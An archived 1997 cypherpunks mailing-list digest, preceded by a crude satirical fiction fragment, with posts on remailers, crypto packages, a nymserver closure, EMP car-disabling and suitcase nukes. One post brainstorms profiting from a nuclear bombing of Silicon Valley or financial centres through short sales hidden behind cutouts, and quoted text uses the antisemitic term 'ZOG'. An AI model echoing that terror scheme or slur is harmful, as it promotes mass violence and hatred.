by a fucking lunatic whose chief ability in the computer industry
is his talent for stealing computers from  support centers for
disabled children.
"We will just leave it to the CypherPunks to set fires under
Toto's nuts until they get tired of toying with him, then they
can cut him loose and throw him to the government wolves."

"How do we proceed?" the Cowboy asked.

"We already are." Alexis said, with a grin. "Toto
had to be back at the 'Home' by 6 p.m., so we are already using
our control over him to release the next chapter of Part III."

"And the following chapter, as well." Bubba said,
with an even wider grin, throwing up the HoloGraph in the middle
of the table to show the group Toto's computer screen.

As the group watched, fascinated, Bubba locked Toto out of his
keyboard and reached for the one sitting in front of him.

The small gathering of the future remnants of the Circle of Eunuchs
let out a cheer as Bubba hit the email-send button after typing
in...


Steal This Chapter!


Body Text


[Your Copyright Here]


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Johannes Kroeger <hanne@squirrel.owl.de>
Date: Mon, 8 Sep 1997 08:21:11 +0800
To: mail2news@anon.lcs.mit.edu
Subject: Weasel nymserver closed due to child porn investigation
Message-ID: <19970907224816.29967@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3984.1071713730.multipart/signed"

--Boundary..3984.1071713730.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

On Monday, September 1st, 1997, a police officer from the German
"Internet Patrol" in Munich contacted my provider and me by phone
and informed us that he investigates a case of child pornography
posted through weasel.owl.de and the nym.alias.net mail-to-news
gateway on August 17th.  Today my provider officially told me to
close my nymserver because they fear legal hassles if more illegal
material is sent from weasel during the present investigations.

I've taken the following measures to comply with their request:

1.  Mail to send@weasel.owl.de bounces with the error message:
"Sending mail from weasel.owl.de is disabled until further notice."
Remailer operators, please add send@weasel.owl.de to your destination
block lists.

2.  Weasel.owl.de does not allow creation of new accounts.

3.  Mail to weasel.owl.de users will be remailed as usual, until I
have transferred the accounts to another nymserver.  I would be very
grateful if the admins of nym.alias.net or anon.efga.org are willing
to host weasel's nyms until the investigations are closed and weasel
is hopefully up again.

Last but not least: the only police contact until now was by phone;
neither my provider nor I were forced to copy or decrypt anything.

-- 
Johannes Kroeger		<hanne@squirrel.owl.de>
Send mail with subject "send pgp-key" to get my PGP key


--Boundary..3984.1071713730.multipart/signed
Content-Type: application/octet-stream; name="pgp00000.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00000.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogMi42LjNp
YQoKaVFFVkFnVUJOQk1URHJ3UFNKNG9RdjVwQVFGd3hBZi9UZnVLWEJJbUQ3
UUwwNitMdUNvRTlGdlg3SjhrWm1EagpSbXFDdmVhcHFoNFVtNnZSRWxwczhm
RUsvV0Q0QUl3UVM4SXpXUk95V3ZwY1F4OGFGV29TOW1wUHJIQm9nMENVCjE0
ajBRYTMyYkFFZGh3Z1VkOHFMR2pyY0pEcUNmNjM0K3MxdjJrUVRkSGUvdXJM
REV6cDBrTDNFamlYRnp1VnIKQXlvbjA2K0FBL0hYZVpTdU41dUo2NTJhck1C
cENGUmhrOVZFcmJ2UllSMkpGRTZ0V1ExWW1VenR4MXlyTTFjTgpqaGZRR2U1
TkpFc1k0dkF5Wm1vMWsxbFZ3NzVJMGhyQXcyRHpLNTkwSnM3dXBMV1EwRUFp
SmpFdStqZ080THd2Ci9ZOHY3R0N6bGJRN0oweDFyczZlQTlOcitKT3dRT2hj
cFJVVTNrVThKRHdZQmpkTHdlOUVtZz09Cj1oTVFtCi0tLS0tRU5EIFBHUCBT
SUdOQVRVUkUtLS0tLQo=
--Boundary..3984.1071713730.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 8 Sep 1997 14:38:28 +0800
To: cypherpunks@toad.com
Subject: Redhat crypto archive on replay
In-Reply-To: <3.0.3.32.19970906022308.006b6d14@popd.ix.netcom.com>
Message-ID: <3.0.3.32.19970907230204.006ba074@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



I forget where I saw the below message announcing stext for Linux,
but there is a nice collection of crypto packages at
http://www.replay.com/redhat .
Unfortunately, they're in RedHat Package Manager format,
so they may be a shade difficult to use for non-Redhat users,
but Redhat does seem to be a fairly popular Linux flavor.

>---------- Forwarded message ----------
>From: Hans Zoebelein <zocki@goldfish.cube.net>
>To: redhat-announce-list@redhat.com
>Subject: stext-1.0 stegano crypto package uploaded
>Resent-Date: 4 Sep 1997 03:28:09 -0000
>
>Hi, 
>
>there is a nice crypto rpm, which uses steganograpic techniques
>to hide a file in another text file which looks like normal text.
>
>The packages are stext-1.0-1.i386.rpm and stext-1.01.src.rpm 
>Binary and source should be dloadable from 
>
>http://www.replay.com/redhat 
>
>the next days. Or check ftp.replay.com/pub/crypto/linux/redhat.
>This package might be useful to handle crypted files in countries,
>where authorities love their citizens so much, that they want to 
>know everything about them and have forbidden strong crypto 
>(Hello China, Bon Jour France :)
>
>Enjoy!
>Hans
>
>Hans Zoebelein              * You are interested in Linux blind support?
>zocki@goldfish.cube.net     * Join the blinux mailing list and mail to:
>"Please enter my parlor!"   * blinux-list-request@redhat.com
> said the spider to the fly.* with subject line: subscribe
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Martin M" <mgmicro@usa.net>
Date: Mon, 8 Sep 1997 12:22:36 +0800
To: <cypherpunks@toad.com>
Subject: FUCK! how do i unregister from toad.com or the 2 other server ?%
Message-ID: <19970908035217.14127.qmail@dns01.ops.usa.net>
MIME-Version: 1.0
Content-Type: text/plain



I am tired, i am registered to 3 cypherpunks server and tired or receiving
40-50 new message each day!

Please someone reply!

Martin
mgmicro@usa.net 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syniker@aol.com
Date: Mon, 8 Sep 1997 12:10:20 +0800
To: cypherpunks@algebra.com
Subject: Re: A helluva way to run a country, er, a world
Message-ID: <970907234651_658096879@emout11.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



whooooppssss
I DO have to retract what I said about F-C-A...
and better do it here...
I get lot's of my first info from Declan
on that list -- as in this weeks calif legislature vote
and I DO appreciate it
and would call it invaluable, for all of us, I'm sure...

sorry dec.........larry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Mon, 8 Sep 1997 15:46:46 +0800
To: cypherpunks@toad.com
Subject: Gao's Chaos Cryptosystem Algorithm
Message-ID: <19970908071919.4105.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Gao's Chaos Cryptosystem Algorithm

1.key input
2.input key generate chaos initial condition
3.input key generate chaos signal(random number)
4.chaos initial condition plus chaos signal
  XOR plain text



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Mon, 8 Sep 1997 17:07:40 +0800
To: cypherpunks@Algebra.COM
Subject: Miscellaneous Debris
Message-ID: <199709080856.EAA15266@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text




Our old pinko buddy Vigdor Schriebman is the latest to attack Old Media's
definitions of "journalist" at

http://www.MediaINFO.com/ephome/news/newshtm/stories/090597n3.htm


Another self-contradicting bunch of viewpoints on net.telephony at

http://192.215.107.71/wire/news/1997/09/0905telco.html


New technology being put to old tricks as students plaigarize at

http://cnn.com/TECH/9709/07/illicit.papers/index.html


"The Internet Ushers In New Age Of Personal Diplomacy" at 

http://www.infotech.co.nz/current/ntchil.html
               
          "Individuals around the globe can reach a consensus and make
          contact with others despite the differing political views of
          their governments. They can become "personal ambassadors" for
          their countries."
                       

And the Infowarspooks are back for another round of "the Internet is so
important the government needs to do SOMETHING" at

http://www.nando.net/newsroom/ntn/info/090697/info7_3765_noframes.html


Enjoy! All of the above links courtesy of http://www.newslinx.com/

--
Tell your friends 'n neighbors you read this on the evil pornographic Internet
"Where one burns books, one will also burn people eventually." -Heinrich Heine
People and books aren't for burning. No more Alexandrias, Auschwitzs or Wacos.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 8 Sep 1997 22:06:21 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199709081350.GAA06879@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 8 Sep 97 6:48:45 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net              ####**+#-##     7:03  99.95%
hera     goddesshera@juno.com             ----_.---..  14:56:18  99.95%
cyber    alias@alias.cyberpass.net        *+*****++**+    11:30  99.93%
squirrel mix@squirrel.owl.de              -----------   3:17:57  99.83%
valdeez  valdeez@juno.com                 -__.-*+*-.-   7:50:19  99.81%
winsock  winsock@rigel.cyberpass.net      -----_..---* 10:10:24  99.81%
bureau42 remailer@bureau42.ml.org         ..---------   3:33:37  99.31%
arrid    arrid@juno.com                   -- --------   7:27:32  99.15%
neva     remailer@neva.org                -+*#+*--*  #    25:21  98.45%
jam      remailer@cypherpunks.ca          +    ++++++     39:06  97.23%
cracker  remailer@anon.efga.org           +    +++ +++    28:43  97.10%
replay   remailer@replay.com               +**-++  +**     9:49  96.75%
redneck  config@anon.efga.org                 -*+* ++#    10:58  96.60%
reno     middleman@cyberpass.net          ++..+ *  --   2:32:31  84.34%
mix      mixmaster@remail.obscura.com     **+*++*+      1:14:29  58.44%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 8 Sep 1997 20:14:53 +0800
To: cypherpunks@toad.com
Subject: Re: Online Casino - REAL MONEY!!
Message-ID: <6LLPce76w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



How kosher is this:

]Date: Thu, 4 Sep 1997 21:51:06 -0400 (EDT)
]From: mxzr2@savetrees.com
]Subject: Online Casino - REAL MONEY!!
]Reply-To: mxzr2@savetrees.com
]
]It's not 'like' the real thing,  it IS the real thing!!   Goto:  http://www.max2001.com/golden/
]
]The time has come to enjoy casino games online from the comfort of your own home.
]
]17 games are now available.  All the traditional games are available:
]
]Blackjack, Poker, Slot Machines, Roulette, Baccarat, Keno and much much more . . . .
]
]Play for fun, or if it is legal in your jurisdiction, PLAY FOR REAL MONEY!!
]
]Open up a real money account and we will give you $25 FREE!!
]
]It is that simple . . . .     Goto:  http://www.max2001.com/golden/
]
]                 GET IN ON THE ACTION . . .  CLICK BELOW NOW
]
]                           http://www.max2001.com/golden/
]
]                             and we will show you the money
]
]
]
]Again, to check out our ONLINE CASINO, please goto:
]
]http://www.max2001.com/golden/
]
]
]
]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 8 Sep 1997 19:30:22 +0800
To: cypherpunks@toad.com
Subject: GAK Hits
Message-ID: <1.5.4.32.19970908111028.00810a5c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Blasts of the GAK plot, maybe genuine, more likely appeals
for be-quiet-honey NDA-money:

   http://jya.com/gak-news.txt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 8 Sep 1997 20:40:14 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: EMP & Cars (fwd)
Message-ID: <199709081240.HAA01326@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 5 Sep 1997 11:48:08 -0400 (EDT)
> From: Ray Arachelian <sunder@brainlink.com>
> Subject: EMP & Cars (fwd)

> There has been quite an interest in EMP.

> pulses to a near miss lightning strike. As far as vehicle disabling, There
> are claims that auto manufactures have built in a shut down frequency into
> the computers in certain vehicles. We wound a large coil on a carpet paper
> tube and put an oscillator on it and it would flood a vehicles electrical
> system to shut it down, but it was huge.

Mind being a little more specific?...

 -  What was the dimension of the coil you used?

 -  What was the frequency and amplitude of your signal?

 -  What model of car and it's computer did you test?

 -  What was the orientation and position of the coil when it worked
    and when it didn't?

> The easiest way to learn about
> EMP is to find the International TESLA society web site and interpret the
> information there.

Some of the best sources are ECM & EECM texts/sites.

While it is a good source of technical info it does take a bull-shit
detector set to full to sift through all the other detritis the ITS wallows
in. Space aliens, hollow earth, over-unity power, etc.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 8 Sep 1997 20:40:11 +0800
To: cypherpunks@ssz.com
Subject: http:--cnnfn.com-digitaljam-9709-08-compuserve-
Message-ID: <199709081244.HAA01368@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   
   
   More privacy and security with QUALCOMM's CDMA digital wireless
   phones. CLICK HERE [INLINE] Deals CompuServe 
   CompuServe, AOL in deal
   
   
   WorldCom buys CompuServe for $1.2 billion, to flip part to AOL
   
   
   September 8, 1997: 7:29 a.m. ET
   
   
   [LINK] 
   [INLINE] 
   
   
   CompuServe cuts losses - August 20, 1997
   
   CompuServe tests flat rate - July 21, 1997
   
   
   [IMAGE]
   
   CompuServe
   
   America Online
   Infoseek search 
   __________
   ____  ____
   NEW YORK (CNNfn) - H&R Block said Monday it will sell its 80 percent
   stake in CompuServe to WorldCom Inc. for about $1.2 billion in a
   complex deal which will ultimately turn over CompuServe's content and
   subscribers to America Online.
   [INLINE] Under the deal, CompuServe shareholders, including H&R Block,
   will receive 0.40625 shares of WorldCom stock for each share of
   CompuServe.
   [INLINE] After that deal is completed, WorldCom will turn around and
   give AOL all the CompuServe content assets and subscribers plus $175
   million in exchange for AOL's Advanced Networks and Services division,
   which supplies about one-third of the network capacity for AOL's own
   customers.
   [INLINE] The deal will add CompuServe's approximately 5 million home
   and business subscribers to AOL's pool of about 8 million customers.
   AOL is the world's largest online service provider.
   [INLINE] WorldCom, a business telecommunications company based in
   Jackson, Mississippi, will be adding AOL's high-speed Internet access
   division to its own services. WorldCom will retain CompuServe's
   Network Services division, which comprises about 100,000 ports used to
   support dial-up users as well as other corporate computer services,
   such as intranets.
   [INLINE] The deal ends AOL's long journey toward acquiring its online
   rival. America Online has made attempts to purchase the service as
   recently as July. AOL made a $1 billion stock bid over the summer,
   which H&R Block rejected.
   [INLINE] The deal will now face regulatory review and could possibly
   trigger concerns over AOL's largely increased market share. Link to
   top 
   -- Randy Schultz
   
   
   
   home | deals | hot stories | contents | search | stock quotes | help
   
   Copyright &copy; 1997 Cable News Network, Inc.
   ALL RIGHTS RESERVED.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 8 Sep 1997 20:15:35 +0800
To: cypherpunks@toad.com
Subject: Re: [LONG} Funding Cypherpunks Projects
Message-ID: <1.5.4.32.19970908120000.00847990@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim and Bob's exchanges are quite informative, and may
their disagreements flower, for, as the solon said, the truth
comes out by hammer blows, not sweettalk.

I'd cite today's NYT article on brokers who find lucrative work
for programmers. The firm featured today is based
in Tim's area, Los Gatos.

The article describes the change in programmers' status
from talented, dutiful employees -- a small few of whom get
a big payoff with stock options, though most don't -- to 
free-lancers getting large fees for short-time work, up to
$200/hr and $300,000 per year. Not that all do so well.

It's a nice change from stories about the legal-financial
fairy tales about tough-minded start-ups and skeptical
VCs who never seem to actually risk nearly as much as 
those peddling all-they've-got codemaking talent.

Still, the talent-brokers, what do they do that the money
guys don't do better, except perhaps lay on the poor-baby, 
let me help you screw yourself on my behalf, thicker,
like all cream-skimmers and honey-pot raiders?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 8 Sep 1997 14:19:18 +0800
To: cypherpunks@toad.com
Subject: Re: Show Me the Warheads!
Message-ID: <199709080605.IAA15001@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Chief Cypherpunks Spokesperson Mixmaster wrote:
> 
> Tim May espoused:
> > I'm surprised this wasn't hushed up. The U.S. lying fucks 
> > intelligence community has known this for a long time, and reports
> > to Ratfuck Congress have alluded to this.
> 
>   Why hush it up? Odd, isn't it, that this interview will air on TV 
> just as Lying Fuck Freeh is pushing for mandatory GAK to 'protect' us
> from imaginary nuclear terrorists with suitcase bombs? I bet it's 
> just one of them coincidences...
> 
> SynchronicityMonger

Lying Nazi Ratfucker Freeh has known about these allegations for a long
time, but it seems that it was not much of a threat until the release
of the book by his co-conspirator schill, the Russian General.
Isn't it amazing how long-standing threats to National Security only
become _real_ threats when it is convenient for those in power?

It was only a 'coincidence' that I happened to be standing in that bank
that had been broken into, with a handful of cash.

SynchronicityCriminal






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 8 Sep 1997 14:22:05 +0800
To: cypherpunks@toad.com
Subject: Re: FUCK! how do i unregister from toad.com or the 2 other server ?%
Message-ID: <199709080606.IAA15081@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks Chief Spokesperson Martin M wrote:
> 
> I am tired, i am registered to 3 cypherpunks server and tired or receiving
> 40-50 new message each day!
> 
> Please someone reply!

Martin,
 If you are retiring as Cypherpunks Chief Spokesperson then I guess
we will have to hold a new election. Do you have anyone in mind as
your replacement?

A Registered Cypherpunk Voter






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Allan Thompson <sparky12@earthlink.net>
Date: Mon, 8 Sep 1997 21:12:23 +0800
To: cypherpunks@toad.com
Subject: Re: FUCK! how do i unregister from toad.com or the 2 other server ?%
Message-ID: <3.0.32.19970908090402.0068ced4@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain




are you tired ? 

>I am tired, i am registered to 3 cypherpunks server and tired or receiving
>40-50 new message each day!
>
>Please someone reply!
>
>Martin
>mgmicro@usa.net 
>
>
>

**************************************************
"The World is full of shipping clerks who read the Harvard Classics."
--Bukowski
***************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Tue, 9 Sep 1997 00:37:21 +0800
To: Tim May <cypherpunks@toad.com>
Subject: Re: FCPUNX:Show Me the Warheads!
Message-ID: <199709081619.JAA20847@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 9:03 PM -0700 9/4/97, Mike Duvos wrote:
>>In an interview to be aired on "60 Minutes" this Sunday, Alexandr
>>Lebed, former Russian National Security Advisor, will reveal that
>>his country has lost track of more than 100 nuclear bombs made to
>>look like suitcases, and has no idea what happened to them.

At 10:13 PM 9/4/97 -0700, Tim May wrote:
> Stay away from soft targets (Tel Aviv, Haifa, the ZOG section of Jerusalem,
> New York, Washington, and so on--Harbors (e.g., Haifa, NYC) are pretty
> likely targets, due to the extreme ease of delivery). But also be prepared
> for major disruptions and panic even if you are nowhere near the blast.

Relax:   Anyone who can afford nukes, probably won't use them without
very good reason.

By the way, I have noticed that the Israelis have lately taken a considerably
more conciliatory attitude towards non state entitities.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 8 Sep 1997 22:04:34 +0800
To: cypherpunks@toad.com
Subject: Re: Big Brother is watching you watch Farenheit 451
Message-ID: <199709081352.GAA17432@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> wrote:

> At 08:47 AM 9/4/97 -0400, Brian B. Riley wrote:
> >in the process of rereading "Fahrenheit 451" - the recent printing  of 
> >this in paperback features a Marquis that says somethig like "Now, more 
> >relevant than ever" - as much as I hate having someone else tell me what 
> >to think ... they certainly seem to be right. It has been over twenty 
> 
> BTW, the last copy of F451 I saw really irked me - the cover had
> explanatory notes like "Fahrenheit 451, the temperature that books burn!"
> and stuff about firemen whose job is setting fires.  
> Are today's kids dumbing down, or less literate, or is it just enough
> longer since the book was written that publishers need to try harder to 
> get people to read it?

Any day, I expect to hear that The State has mandated that all first
editions of F451 be confiscated and landfilled. 

Why? Whatever the true motives, the one they will cite is 
"public safety": the first (hardback) edition is bound in asbestos.

trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <rich@paranoid.org>
Date: Tue, 9 Sep 1997 01:37:23 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Redhat crypto archive on replay
In-Reply-To: <3.0.3.32.19970907230204.006ba074@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.95.970908095704.2040C-100000@paranoid.org>
MIME-Version: 1.0
Content-Type: text/plain



There are some good tools there.

You don't have to have RedHat to use rpm packages -- it will work with
other Linux distributions.  Rpm is available at:

ftp://ftp.rpm.org/pub/rpm/dist/latest/



Rich


On Sun, 7 Sep 1997, Bill Stewart wrote:

> 
> I forget where I saw the below message announcing stext for Linux,
> but there is a nice collection of crypto packages at
> http://www.replay.com/redhat .
> Unfortunately, they're in RedHat Package Manager format,
> so they may be a shade difficult to use for non-Redhat users,
> but Redhat does seem to be a fairly popular Linux flavor.
> 
> >---------- Forwarded message ----------
> >From: Hans Zoebelein <zocki@goldfish.cube.net>
> >To: redhat-announce-list@redhat.com
> >Subject: stext-1.0 stegano crypto package uploaded
> >Resent-Date: 4 Sep 1997 03:28:09 -0000
> >
> >Hi, 
> >
> >there is a nice crypto rpm, which uses steganograpic techniques
> >to hide a file in another text file which looks like normal text.
> >
> >The packages are stext-1.0-1.i386.rpm and stext-1.01.src.rpm 
> >Binary and source should be dloadable from 
> >
> >http://www.replay.com/redhat 
> >
> >the next days. Or check ftp.replay.com/pub/crypto/linux/redhat.
> >This package might be useful to handle crypted files in countries,
> >where authorities love their citizens so much, that they want to 
> >know everything about them and have forbidden strong crypto 
> >(Hello China, Bon Jour France :)
> >
> >Enjoy!
> >Hans
> >
> >Hans Zoebelein              * You are interested in Linux blind support?
> >zocki@goldfish.cube.net     * Join the blinux mailing list and mail to:
> >"Please enter my parlor!"   * blinux-list-request@redhat.com
> > said the spider to the fly.* with subject line: subscribe
> >
> >
> >
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 9 Sep 1997 01:40:17 +0800
To: cypherpunks@Algebra.COM
Subject: Nuclear Hedge Funds
In-Reply-To: <199709081619.JAA20847@proxy3.ba.best.com>
Message-ID: <v03102802b039df8e51d7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:19 AM -0700 9/8/97, James A. Donald wrote:

>At 10:13 PM 9/4/97 -0700, Tim May wrote:
>> Stay away from soft targets (Tel Aviv, Haifa, the ZOG section of Jerusalem,
>> New York, Washington, and so on--Harbors (e.g., Haifa, NYC) are pretty
>> likely targets, due to the extreme ease of delivery). But also be prepared
>> for major disruptions and panic even if you are nowhere near the blast.
>
>Relax:   Anyone who can afford nukes, probably won't use them without
>very good reason.
>
>By the way, I have noticed that the Israelis have lately taken a considerably
>more conciliatory attitude towards non state entitities.

The targets may not even be political.

Imagine the profits to be made by shorting a bunch of high tech, networking
stocks and then detonating a package near the major NAPs clustered in
Silicon Valley? Not to mention the direct effects and the panic effects on
Intel, Sun, Netscape, Apple, Cisco, 3COM, and a hundred other such
companies.

Conventional explosives could knock out MAE-West or any other single NAP,
but even a low-yield nuke would trigger the panic, fallout, and temporary
abandonment of facilities. Cisco and Intel would be massively disrupted for
at least several months, and might not recover for years....

(Conventional explosives could also cause a billion or more dollars worth
of damage to a major wafer fabrication plant, of course, but the
manufacturing capacity could be shifted to other plants in a matter of
months. Some major short sale opportunities, but not nearly what a nuke
could do to a _region_, in terms of direct blast effects, fallout in
surrounding city blocks (tens of square city blocks, at the least, esp.
give OSHA standards, etc.), and the sheer panic effect.)

Similar effects would be felt if a suitcase nuke were detonated in Chicago
near the futures/options markets, in Nuke York City in almost any of the
locations, in the City of London, and so on. The best target for such a
suitcase nuke would require careful planning.

(Very speculatively, a terrorist group might actually gain more by hitting
a financial or high tech center, and multiplying their assets by factors of
hundreds or thousands, thus allowing them to gain more conventional
leverage. Of course, their sudden new wealth would make them the suspects
in such a bombing.)

By carefully using cutouts for the short positions (lawyers in distributed
countries, for example), and by buying puts (huge leverage, of course), the
risks to an "investment group" could be minimal.

LEGAL DISCLAIMER: This is not investement advice. I am not a Certified
Nuclear Hedging Advisor, and my knowledge of the effects of nuclear weapons
